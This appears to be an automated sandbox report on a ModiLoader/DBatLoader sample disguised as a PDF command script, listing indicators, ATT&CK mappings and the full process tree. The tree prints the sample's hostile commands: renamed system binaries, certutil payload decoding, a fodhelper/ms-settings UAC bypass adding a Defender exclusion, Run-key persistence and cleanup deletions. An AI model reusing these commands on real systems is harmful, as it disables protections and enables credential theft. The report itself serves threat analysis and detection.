modiloader | e79dbdc85cf532a13c172533edaf0893a34641b39522b70a31df7f442d0eaf0d

Analysis

max time kernel
266s
max time network
249s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
22/07/2024, 13:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Main Engine 7s60mc,PDF.cmd
Size

6.4MB
MD5

f15e38f850728f3fc6773a7350e29304
SHA1

f13f88885c26b065ea8cf9e8113586ecca166ee7
SHA256

e79dbdc85cf532a13c172533edaf0893a34641b39522b70a31df7f442d0eaf0d
SHA512

961643be8a42c6608028524d3af21f407f453db9995682186283569b0ea1579d407386e0f79ab9a8b7455b61d0a66223c436b763e18b4dbff6952d0788767ea7
SSDEEP

49152:HMftY4zQT58J2f3nAJ3NB/D15t5+DUvW5nWffFOFg+N0DGvthGU9gx8ITAT4WGbs:H

Score

10^/10

modiloader collection persistence spyware stealer trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

ModiLoader Second Stage 2 IoCs

resource	yara_rule
behavioral1/memory/2300-105-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/2300-107-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2

Executes dropped EXE 28 IoCs

pid	Process
2724	alpha.exe
2784	alpha.exe
2864	kn.exe
2988	alpha.exe
2736	kn.exe
2812	CLEAN.COM
2952	alpha.exe
2908	alpha.exe
2752	pkukvxmR.pif
2236	alpha.exe
2052	alpha.exe
320	alpha.exe
940	alpha.exe
1232	alpha.exe
2012	alpha.exe
2016	xkn.exe
944	alpha.exe
1772	ger.exe
2928	alpha.exe
1792	alpha.exe
3004	alpha.exe
2996	alpha.exe
2196	alpha.exe
2280	alpha.exe
2460	alpha.exe
2404	alpha.exe
2108	alpha.exe
2300	pkukvxmR.pif

Loads dropped DLL 12 IoCs

pid	Process
2568	cmd.exe
2568	cmd.exe
2784	alpha.exe
2568	cmd.exe
2988	alpha.exe
2812	CLEAN.COM
2812	CLEAN.COM
2012	alpha.exe
2016	xkn.exe
2016	xkn.exe
944	alpha.exe
2812	CLEAN.COM

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	pkukvxmR.pif
Key opened	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	pkukvxmR.pif
Key opened	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	pkukvxmR.pif

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows\CurrentVersion\Run\Rmxvkukp = "C:\\Users\\Public\\Rmxvkukp.url"	CLEAN.COM

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2812 set thread context of 2752	2812	CLEAN.COM	40
PID 2812 set thread context of 2300	2812	CLEAN.COM	69

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present

Kills process with taskkill 1 IoCs

evasion

pid	Process
2956	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000_CLASSES\ms-settings\shell\open	ger.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1752	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1860	WINWORD.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2812	CLEAN.COM

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2016	xkn.exe
2300	pkukvxmR.pif
2300	pkukvxmR.pif

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2016	xkn.exe
Token: SeDebugPrivilege	2956	taskkill.exe
Token: SeDebugPrivilege	2300	pkukvxmR.pif
Token: 33	2080	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2080	AUDIODG.EXE
Token: 33	2080	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	2080	AUDIODG.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1860	WINWORD.EXE
1860	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 2960	2568	cmd.exe	30
PID 2568 wrote to memory of 2960	2568	cmd.exe	30
PID 2568 wrote to memory of 2960	2568	cmd.exe	30
PID 2568 wrote to memory of 2724	2568	cmd.exe	31
PID 2568 wrote to memory of 2724	2568	cmd.exe	31
PID 2568 wrote to memory of 2724	2568	cmd.exe	31
PID 2724 wrote to memory of 2212	2724	alpha.exe	32
PID 2724 wrote to memory of 2212	2724	alpha.exe	32
PID 2724 wrote to memory of 2212	2724	alpha.exe	32
PID 2568 wrote to memory of 2784	2568	cmd.exe	33
PID 2568 wrote to memory of 2784	2568	cmd.exe	33
PID 2568 wrote to memory of 2784	2568	cmd.exe	33
PID 2784 wrote to memory of 2864	2784	alpha.exe	34
PID 2784 wrote to memory of 2864	2784	alpha.exe	34
PID 2784 wrote to memory of 2864	2784	alpha.exe	34
PID 2568 wrote to memory of 2988	2568	cmd.exe	35
PID 2568 wrote to memory of 2988	2568	cmd.exe	35
PID 2568 wrote to memory of 2988	2568	cmd.exe	35
PID 2988 wrote to memory of 2736	2988	alpha.exe	36
PID 2988 wrote to memory of 2736	2988	alpha.exe	36
PID 2988 wrote to memory of 2736	2988	alpha.exe	36
PID 2568 wrote to memory of 2812	2568	cmd.exe	37
PID 2568 wrote to memory of 2812	2568	cmd.exe	37
PID 2568 wrote to memory of 2812	2568	cmd.exe	37
PID 2568 wrote to memory of 2812	2568	cmd.exe	37
PID 2568 wrote to memory of 2952	2568	cmd.exe	38
PID 2568 wrote to memory of 2952	2568	cmd.exe	38
PID 2568 wrote to memory of 2952	2568	cmd.exe	38
PID 2568 wrote to memory of 2908	2568	cmd.exe	39
PID 2568 wrote to memory of 2908	2568	cmd.exe	39
PID 2568 wrote to memory of 2908	2568	cmd.exe	39
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2812 wrote to memory of 2752	2812	CLEAN.COM	40
PID 2752 wrote to memory of 584	2752	pkukvxmR.pif	41
PID 2752 wrote to memory of 584	2752	pkukvxmR.pif	41
PID 2752 wrote to memory of 584	2752	pkukvxmR.pif	41
PID 2752 wrote to memory of 584	2752	pkukvxmR.pif	41
PID 584 wrote to memory of 2936	584	cmd.exe	43
PID 584 wrote to memory of 2936	584	cmd.exe	43
PID 584 wrote to memory of 2936	584	cmd.exe	43
PID 584 wrote to memory of 2236	584	cmd.exe	44
PID 584 wrote to memory of 2236	584	cmd.exe	44
PID 584 wrote to memory of 2236	584	cmd.exe	44
PID 584 wrote to memory of 2052	584	cmd.exe	45
PID 584 wrote to memory of 2052	584	cmd.exe	45
PID 584 wrote to memory of 2052	584	cmd.exe	45
PID 584 wrote to memory of 320	584	cmd.exe	46
PID 584 wrote to memory of 320	584	cmd.exe	46
PID 584 wrote to memory of 320	584	cmd.exe	46
PID 320 wrote to memory of 2372	320	alpha.exe	47
PID 320 wrote to memory of 2372	320	alpha.exe	47
PID 320 wrote to memory of 2372	320	alpha.exe	47
PID 584 wrote to memory of 940	584	cmd.exe	48
PID 584 wrote to memory of 940	584	cmd.exe	48
PID 584 wrote to memory of 940	584	cmd.exe	48
PID 940 wrote to memory of 1916	940	alpha.exe	49
PID 940 wrote to memory of 1916	940	alpha.exe	49
PID 940 wrote to memory of 1916	940	alpha.exe	49
PID 584 wrote to memory of 1232	584	cmd.exe	50
PID 584 wrote to memory of 1232	584	cmd.exe	50

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	pkukvxmR.pif

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2212144002-1172735686-1556890956-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	pkukvxmR.pif

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\System32\extrac32.exe
  C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
  2⤵
  PID:2960
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\extrac32.exe
    extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
    3⤵
    PID:2212
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd" "C:\\Users\\Public\\CLEAN.GIF" 3
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\Users\Admin\AppData\Local\Temp\Main Engine 7s60mc,PDF.cmd" "C:\\Users\\Public\\CLEAN.GIF" 3
    3⤵
    - Executes dropped EXE
    PID:2864
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 10
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2988
- - C:\Users\Public\kn.exe
    C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\CLEAN.GIF" "C:\\Users\\Public\\Libraries\\CLEAN.COM" 10
    3⤵
    - Executes dropped EXE
    PID:2736
- C:\Users\Public\Libraries\CLEAN.COM
  C:\Users\Public\Libraries\CLEAN.COM
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious use of SetThreadContext
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Users\Public\Libraries\pkukvxmR.pif
    C:\Users\Public\Libraries\pkukvxmR.pif
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2752
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\204D.tmp\204E.tmp\204F.bat C:\Users\Public\Libraries\pkukvxmR.pif"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:584
    - - C:\Windows\System32\extrac32.exe
        
        C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
        5⤵
        
        PID:2936
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
        5⤵
        Executes dropped EXE
        
        PID:2236
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:2052
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:320
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        6⤵
        
        PID:2372
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:940
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        6⤵
        
        PID:1916
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        Executes dropped EXE
        
        PID:1232
      - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        6⤵
        
        PID:2536
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2012
      - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2016
        
        C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:944
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        8⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:1772
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
        5⤵
        Executes dropped EXE
        
        PID:2928
      - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
        5⤵
        Executes dropped EXE
        
        PID:1792
      - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        6⤵
        Runs ping.exe
        
        PID:1752
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
        5⤵
        Executes dropped EXE
        
        PID:3004
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
        5⤵
        Executes dropped EXE
        
        PID:2996
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
        5⤵
        Executes dropped EXE
        
        PID:2196
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2280
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2460
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2404
    - - C:\Users\Public\alpha.exe
        
        C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
        5⤵
        Executes dropped EXE
        
        PID:2108
- - C:\Windows\SysWOW64\extrac32.exe
    C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\CLEAN.COM C:\\Users\\Public\\Libraries\\Rmxvkukp.PIF
    3⤵
    PID:2424
- - C:\Users\Public\Libraries\pkukvxmR.pif
    C:\Users\Public\Libraries\pkukvxmR.pif
    3⤵
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:2300
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Users\Public\alpha.exe
  C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\CLEAN.GIF" / A / F / Q / S
  2⤵
  - Executes dropped EXE
  PID:2908

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\Desktop\DenyMount.docx"
1⤵
- Drops file in Windows directory
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1860

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x4fc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\204D.tmp\204E.tmp\204F.bat

Filesize
1KB

MD5
e62f427202d3e5a3ba60ebe78567918c

SHA1
6ef0cd5ba6c871815fceb27ff095a7931452b334

SHA256
06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff

SHA512
e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
ac232973c5179f292c0e716b1bb41618

SHA1
81de9a99cf6ed2ff3d8d1e24f8aee4743228b1c8

SHA256
a064dd5a8f237434a537dbabb3269644459be3c60fd549d8927657884a8f4c45

SHA512
360422e5da9ce50c562635fc749177797ecef1a126f8a108d9c6fc1fd3514e4e0cf187b9255b9b9a28bbcfef7d370af46cc7f5bdf832932c9d5c07f49c0c6c1c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Public\CLEAN.GIF

Filesize
4.4MB

MD5
7f5f10d1186e835094d28a4bcf507a60

SHA1
b3f66589b1af2d5fa2e0761252f6ce884869f288

SHA256
1f9498239b81807faa4fec10300975aca37d3c9bd60c0742fb5499cba759a7c6

SHA512
677138e3a046a60dad05f6e024c1115c22681e2df7683db416f0bc66962e67c9243c8f98755788e9e3c8b8d54e390cc66670579a734856787f1b437b0c5be54a

Download Submit
C:\Users\Public\Libraries\CLEAN.COM

Filesize
1.3MB

MD5
9e590560079834d3f376570fd21443bc

SHA1
73abd551c48ec04355cd24272c8e5b7a221d42f5

SHA256
9154b1338228a48e4b2ff841867c2d3e79503c8a858f07c776b6b091839108b7

SHA512
23f9aa06795fc5ccd020f2b5dc68307662c6c99f08a43257bb72ed1c668b9780ebe985eb4e3a1ccfc92e1e2fb45422c6a924f6d315e9a10375e113c57c001109

Download Submit
\Users\Public\Libraries\pkukvxmR.pif

Filesize
66KB

MD5
c116d3604ceafe7057d77ff27552c215

SHA1
452b14432fb5758b46f2897aeccd89f7c82a727d

SHA256
7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301

SHA512
9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6

Download Submit
\Users\Public\alpha.exe

Filesize
337KB

MD5
5746bd7e255dd6a8afa06f7c42c1ba41

SHA1
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8

SHA256
db06c3534964e3fc79d2763144ba53742d7fa250ca336f4a0fe724b75aaff386

SHA512
3a968356d7b94cc014f78ca37a3c03f354c3970c9e027ed4ccb8e59f0f9f2a32bfa22e7d6b127d44631d715ea41bf8ace91f0b4d69d1714d55552b064ffeb69e

Download Submit
\Users\Public\ger.exe

Filesize
73KB

MD5
9d0b3066fe3d1fd345e86bc7bcced9e4

SHA1
e05984a6671fcfecbc465e613d72d42bda35fd90

SHA256
4e66b857b7010db8d4e4e28d73eb81a99bd6915350bb9a63cd86671051b22f0e

SHA512
d773ca3490918e26a42f90f5c75a0728b040e414d03599ca70e99737a339858e9f0c99711bed8eeebd5e763d10d45e19c4e7520ee62d6957bc9799fd62d4e119

Download Submit
\Users\Public\kn.exe

Filesize
1.1MB

MD5
ec1fd3050dbc40ec7e87ab99c7ca0b03

SHA1
ae7fdfc29f4ef31e38ebf381e61b503038b5cb35

SHA256
1e19c5a26215b62de1babd5633853344420c1e673bb83e8a89213085e17e16e3

SHA512
4e47331f2fdce77b01d86cf8e21cd7d6df13536f09b70c53e5a6b82f66512faa10e38645884c696b47a27ea6bddc6c1fdb905ee78684dca98cbda5f39fbafcc2

Download Submit
\Users\Public\xkn.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2016-73-0x0000000002440000-0x0000000002448000-memory.dmp

Filesize
32KB

Download
memory/2016-72-0x000000001AFB0000-0x000000001B292000-memory.dmp

Filesize
2.9MB

Download
memory/2300-161-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-146-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-112-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-114-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-105-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/2300-107-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/2300-109-0x000000004BEC0000-0x000000004BF00000-memory.dmp

Filesize
256KB

Download
memory/2300-110-0x000000004BF00000-0x000000004BF3E000-memory.dmp

Filesize
248KB

Download
memory/2300-111-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-118-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-164-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-162-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-116-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-158-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-157-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-155-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-153-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-150-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-148-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-120-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-144-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-142-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-140-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-138-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-136-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-134-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-132-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-130-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-128-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-126-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-124-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2300-122-0x000000004BF00000-0x000000004BF38000-memory.dmp

Filesize
224KB

Download
memory/2752-44-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/2752-42-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/2752-92-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/2752-94-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/2752-45-0x0000000000400000-0x000000000041A000-memory.dmp

Filesize
104KB

Download
memory/2812-32-0x0000000000400000-0x000000000054A000-memory.dmp

Filesize
1.3MB

Download